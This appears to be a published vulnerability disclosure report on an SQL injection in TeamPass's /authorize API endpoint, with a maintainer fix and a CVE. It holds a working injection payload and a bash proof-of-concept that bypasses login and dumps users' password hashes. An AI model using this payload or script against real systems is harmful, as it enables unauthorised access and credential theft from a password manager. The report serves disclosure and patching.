SQL injection in API authorization check in nilsteampassnet/teampass

Valid

Reported on

Jan 15th 2023


Description

TeamPass /authorize API endpoint is vulnerable to SQL injection in the login field. It is possible to forge an arbitrary Blowfish hash and use it in the query to bypass the password verification check. Using the same query it is possible to define an arbitrary apikey value too:

{
    "login": "none' UNION SELECT id, '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq', (SELECT pw FROM teampass_users LIMIT 1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin",
    "password": "h4ck3d",
    "apikey": "foo"
}

The produced JWT doesn't contain a valid username field, however it is possible to populate the JWT public_key field with a value coming from an arbitrary query (that has to return a single result). In this way it is potentially possible to read the whole database, even if one field at a time.

Proof of Concept

The following PoC enumerates the users and their password hashes. Many other scenarios are possible. The PoC assumes that the API feature has been enabled and that the database table prefix is teampass_ (the default value):

if [ "$#" -lt 1 ]; then
  echo "Usage: $0 <base-url>"
  exit 1
fi

vulnerable_url="$1/api/index.php/authorize"

check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
  echo "API feature is not enabled :-("
  exit 1
fi

# htpasswd -bnBC 10 "" h4ck3d | tr -d ':\n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'

exec_sql() {
  inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
  data="{\"login\":\""$inject\"",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
  token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
  echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}

users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")

echo "There are $users users in the system:"

for i in `seq 0 $(($users-1))`; do
  username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  echo "$username: $password"
done

Impact

With a bit of patience it should be possible to dump the whole database executing the attack multiple times. As shown in the PoC it is possible to execute arbitrary SQL SELECT queries that return a single result. Since the involved application is a password manager, the extracted information could be used to gain access to other systems.

The API feature is currently under development and must be explicitly enabled, so the vulnerability can't be exploited in all the installations.

We are processing your report and will contact the nilsteampassnet/teampass team within 24 hours. 4 months ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 4 months ago
Sonia Zorba modified the report
4 months ago
We have contacted a member of the nilsteampassnet/teampass team and are waiting to hear back 4 months ago
Nils Laumaillé
4 months ago

Maintainer


Thank you for sharing this CVE with me. I have committed a fix in https://github.com/nilsteampassnet/TeamPass/commit/4780252fdb600ef2ec2758f17a37d738570cbe66

We have sent a follow up to the nilsteampassnet/teampass team. We will try again in 7 days. 3 months ago
We have sent a second follow up to the nilsteampassnet/teampass team. We will try again in 10 days. 3 months ago
We have sent a third and final follow up to the nilsteampassnet/teampass team. This report is now considered stale. 3 months ago
Sonia Zorba
2 months ago

Researcher


Hi @nilsteampassnet, could you publish also this one, since it has been fixed?

Nils Laumaillé validated this vulnerability 2 months ago
Sonia Zorba has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Nils Laumaillé marked this as fixed in 3.0.0.23 with commit 478025 2 months ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
This vulnerability is scheduled to go public on Feb 9th 2023
Nils Laumaillé published this vulnerability 2 months ago
AuthModel.php#L58 has been validated
AuthModel.php#L45 has been validated
to join this conversation